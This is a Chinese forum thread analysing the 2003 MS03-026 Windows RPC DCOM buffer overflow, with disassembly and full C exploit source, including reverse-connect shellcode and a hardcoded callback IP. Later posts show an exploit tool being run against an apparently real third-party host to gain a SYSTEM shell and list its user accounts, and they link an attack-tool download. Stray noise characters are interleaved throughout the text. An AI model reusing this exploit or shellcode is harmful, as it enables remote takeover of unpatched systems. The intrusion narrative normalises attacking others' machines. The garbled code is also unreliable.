LSD RPC 溢出漏洞之分析

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作者：FLASHSKY 作者单位：启明星辰积极防御实验室 : ^$ d6 U Y! V& ^WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM 邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 : O2 J0 X. I5 _/ J8 k L邮件：benjurry@xfocus.org - ?- j1 a. ~3 ~/ W$ d. f$ `/ V 8 r# @0 q7 O$ f9 ~6 tLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 / s& k6 c) x, B/ c5 ]) ?导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： GetPathForServer： .text:761543DA push ebp .text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 .text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx .text:761543E4 push esi I: o8 V+ E* C0 S.text:761543E5 mov esi, [ebp+hMem] I& I4 D; L, x4 Q+ G1 H* E.text:761543E8 push edi .text:761543E9 push 5Ch 0 u7 V$ S7 w B8 E* Z% }.text:761543EB pop ebx .text:761543EC mov [eax], esi " D( T+ n1 R: p, p.text:761543EE cmp [esi], bx 7 G( D( L* ^2 o6 j7 U.text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF 0 C* ~% b+ B6 U" n% A$ c5 G7 _6 t0 K4 r.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 .text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName ; r( I9 d Y: w。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 $ c# x8 F0 z/ X6 y6 R9 h+ _ 0 U1 P; L* B, M0 p- h3 u% ZGetMachineName: .text:7614DB6F mov eax, [ebp+arg_0] 5 V4 |; t+ H/ \9 l.text:7614DB72 mov ecx, [ebp+arg_4] ( c! `+ O# i% g3 V6 n7 b.text:7614DB75 lea edx, [eax+4] 3 I& I& N h& m' a% l2 \.text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C 1 f" \/ q5 A B4 [ T" j.text:7614DB80 jz short loc_7614DB93 , W* C) `4 n$ w2 P, C, N1 Z.text:7614DB82 sub edx, ecx .text:7614DB84 ; ~- H7 r0 [$ V' F.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j 9 t9 t3 B& B! w; o7 G+ k+ w% B) X5 v.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 % W" |: J7 v) |2 k& h1 N" r& U+ p.text:7614DB87 inc ecx ' n9 w) L9 X3 D% B9 @6 V6 `- d.text:7614DB88 inc ecx # V1 j: D' }: }$ Y& t. q f.text:7614DB89 mov ax, [ecx+edx] , ]6 w: ^* y _9 m.text:7614DB8D cmp ax, 5Ch 1 U% F0 V- o0 u' n- I+ c.text:7614DB91 jnz short loc_7614DB84 ) N, X& Q( D: o* h.text:7614DB93 8 c0 y) O- t! N* |+ Y8 d( W OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC - t) Q" M' s; w; y3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 ) m5 F- _) E" z8 q7 _/ d% ~8 J计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 ; K5 [1 Q4 K4 ^6 H" D6 w5 y5 P$ x/ \ #include #include #include 3 w! I8 ~6 z" v1 m( E* l5 g#include #include #include unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, J7 l7 Y* V9 q" o# I0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; 0 D; a3 S9 f. Q L; [" M ' r# k& d3 U- x1 @( Iunsigned char request1[]={ * l( v: m2 |# M9 H0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 $ q4 b. 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M% a: e K2 k,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 / c* Z* J% e9 b. [; K,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 4 I! H: x4 E: J; k& r+ n( G. s,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 + y, @3 X' `7 v, d$ i5 },0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 " ~0 D# r; r+ t* {7 t! H,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 , ^$ H5 Y+ m2 p- w( O4 h,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ; k3 P6 i; t* N/ ]! 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E1 W,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 1 _$ Y; F. q/ q+ p- l,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 * t; i2 X, d" f' S' r4 }4 x. I, _,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 : d- g' g3 C$ s; f" B,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E & }; a: a7 e/ }) Q,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 . s5 L. c0 ~' h2 U ^,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 5 C/ D+ H7 t1 K' t' |- J1 Q: _8 G,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ( t! _3 y9 e/ @) n) K) {; t,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 7 w5 [8 O" a- {& ~8 c,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ( k) x8 U! L$ F,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ; n/ z/ a/ g7 z; v' {$ P | L,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; 5 I. g5 r: c3 \2 h0 }unsigned char request2[]={ $ b. Y V$ m7 h$ k# E$ d0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ) L- W7 _& X+ G( p3 r0 M8 J,0x00,0x00,0x5C,0x00,0x5C,0x00}; $ p7 r$ j& U2 L/ P. |5 l' nunsigned char request3[]={ ' F8 a o ^9 M0x5C,0x00 " b/ K+ Q3 F j) [! m1 x+ v,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 5 u+ \% n: i- B/ [" @,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 % @" L7 j+ @1 C; X# I5 ^0 m' h,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; ) g( H' F9 C. V$ n% l' D unsigned char sc[]= & c( b4 Q0 R9 n0 {! v( j"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" * K' \3 F- B" n% T5 w4 v+ a"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 1 Z# |$ D' V+ ~4 j* Z* W1 `% m"\x46\x00\x58\x00" 2 o7 p0 R/ ^4 P; a: u"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 //SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" 6 ` S, p( O& @4 o"\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 7 F2 |$ s8 B/ `; l7 K7 P+ o"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" : Z# W ~0 D7 T; q; q2 {5 w* W"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" / q: I' O/ F3 S9 k5 ?"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" 5 X8 u2 T* }0 b"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" s) G6 \- u' d: o"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" 4 A/ r6 F0 h( h" \7 Q. \8 u* Q"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" % E" W7 G1 G3 U; ]"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" . n+ U/ G2 c `$ g& D"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" ! y9 N7 a3 o8 F2 ^+ ~: E"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" 2 ~2 e2 I+ v, n" Y/ O5 E; K$ x"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" & r; _* B' J2 C"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 9 z+ {4 }( h$ c4 o unsigned char request4[]={ $ L( C* ]3 ^8 h/ U0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 2 J+ R: q1 D, n) _3 _- R8 i1 f,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C 1 Z; K! \% m! C1 h! c! t6 y,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; % G6 i( e& l( [4 F0 C , C0 A8 h3 s. V" L+ Uvoid main(int argc,char ** argv) { $ }$ R- k! F. O( M+ v" A0 W' H kWSADATA WSAData; SOCKET sock; int len,len1; & A% r* y+ h2 R0 iSOCKADDR_IN addr_in; / R( ?) K5 g; Y2 g# h( Z3 i- }8 Cshort port=135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; / n/ w9 j$ L( J' L, O6 aunsigned short port1; $ w h6 D3 U5 S/ JDWORD cb; ; @; X& n9 [% i, _8 N ' }1 t, W- b! K$ @! S$ |+ h. eif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { " [0 `& t( s# @9 o" Q& c9 fprintf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; } ! _7 u/ ~; a Oaddr_in.sin_family=AF_INET; ' T3 r% `. Q% I# x( xaddr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) 2 M8 M4 w* H4 \- S{ printf("Socket failed.Error:%d\n",WSAGetLastError()); return; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return; } : r/ w7 ^9 a, U$ z& n: l3 ^port1 = htons (2300); //反向连接的端口 port1 ^= 0x9393; 5 n. t. ~' _7 v* k# P0 U5 @. P; J" rcb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; Z. b; `$ o# R' g7 Z' {' i*(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; # o) K" O0 ~$ K+ U& y( u/ glen=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); & n+ J2 {) c6 a' @2 Y {/ t+ I. ^len1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 ; c8 z& b7 K) e4 |*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); + O9 {9 N% T/ K" clen1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); 9 A. X6 ]" t! _; a7 zlen1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); & X" G4 C0 }- _; a; }9 \len1=len1+sizeof(request4); 5 p, }5 l$ h# m0 \ ~% \/ ]*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; //计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; ) F9 q: N" q5 Z2 F*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; * e* F1 p. Z' V# z- ]*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; 9 c! {- N. c" }*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; 5 w) v! h. q4 k( Q( E: q- ^, a+ m% j* K*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; % Q- [: S6 k4 xif (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { 0 Q) ]' K! z5 D' A3 R, aprintf("Send failed.Error:%d\n",WSAGetLastError()); 8 D9 y) T. E2 w- W- Zreturn; } ( ]. T7 M& ]( n3 W( mlen=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) ; z- J! J& B; l4 A" X{ printf("Send failed.Error:%d\n",WSAGetLastError()); return; } len=recv(sock,buf1,1024,NULL); } ! c: m8 l5 |' u+ w5 _5 w: Q 补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 6 n5 B" o9 z( ^7 \2 a9 |' qchdcom针对以下版本: - 0 Windows xp SP1 (cn) 2 A* q- L& F' d6 {( P. {6 Y- 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) 5 u, s6 t# T/ G, Q- 3 Windows 2000 SP3 (english) ' ]% R9 V4 e* i# [( ~- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: chdcom cedcom针对以下版本: - 0 Windows 2000 SP0 (english) , \2 R9 E; E1 @% n- 1 Windows 2000 SP1 (english) 9 s+ S* S9 d! ]/ g; {- 2 Windows 2000 SP2 (english) ; M5 P/ c, O& y2 k- 3 Windows 2000 SP3 (english) ( U8 E4 i! [1 d9 m1 D. j% [- 4 Windows 2000 SP4 (english) : _7 @- t+ Y' G( R* Z3 r- 5 Windows XP SP0 (english) : M" j: m/ V6 [, W- 6 Windows XP SP1 (english) 3 e" K0 }, ^; q6 ]Usage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 --------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit " Z/ a3 I5 X0 a. |- Original code by FlashSky and Benjurry : ?- ]9 N0 Z$ p& X9 ^6 u& t- Rewritten by HDM last - last by nic -Compiled and recorrected by pingker! / U& Z4 k& ?% n$ L4 g) k! }( \- Using return address of 0x77f92a9b 5 [3 z( J" \& p6 \: }- Dropping to System Shell... , H" q" @+ G' u7 C ? Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. 5 p q+ i8 m" ^+ @C:\WINNT\system32> % N V: U, z O \/ M% C6 q成功溢出. / }; d+ R4 V8 L; x7 g3 iC:\WINNT\system32>net user net user 3 |0 O+ X7 ~9 I9 oUser accounts for \ ---------------------------------------------------------------------------- ' ]8 R! a: I" H" E8 f+ p--- Administrator ASPNET billbishopcom divyanshu ebuyjunction edynamic1 8 P$ `( l& g! O; Gedynamic2 Guest infinityaspnet infinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger TsInternetUser WO The command completed with one or more errors. 这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! XDcom.rar远程溢出攻击程序下载: $ G8 F& J: V/ q/ q" t5 |http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
/ K7 e0 T2 q! u5 i# g  o4 F8 ^Windows NT 4.0 Server ：

1 r0 ^! ]' o0 I# C2 c# `http://microsoft.com/downloads/d ... &displaylang=en
; g. F, h: L% }
( [# X  m6 c) Z( o% ], L" RWindows NT 4.0 Terminal Server Edition：
. v  S. {5 V/ j) S- {* @
http://microsoft.com/downloads/d ... &displaylang=en

Windows 2000：

http://microsoft.com/downloads/d ... &displaylang=en
（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
( N8 ~5 Q" ^" |$ P" a* L
& n9 h8 X5 v! u! [# V( X. uWindows XP 32 bit Edition ：
# D8 f; h. Z; s  N  d8 p+ d; Q  P: i4 T
: n5 O: O% y$ U7 c( b$ @) D- ahttp://microsoft.com/downloads/d ... &displaylang=en

Windows XP 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 32 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en
: t' e+ U7 o3 e8 n- S8 A, F0 s
Windows Server 2003 64 bit Edition：
& `# s4 h" V% E, @4 g  [$ [- u
) R( l/ X5 h" f+ rhttp://microsoft.com/downloads/d ... &displaylang=en

, ]5 f* A' \6 m' t9 l/ p
, N0 u* Y/ G9 o/ \0 g
4 C5 d+ t% p+ D: y* \' i

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

, i/ y/ |; L$ d  H% J5 M, f

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。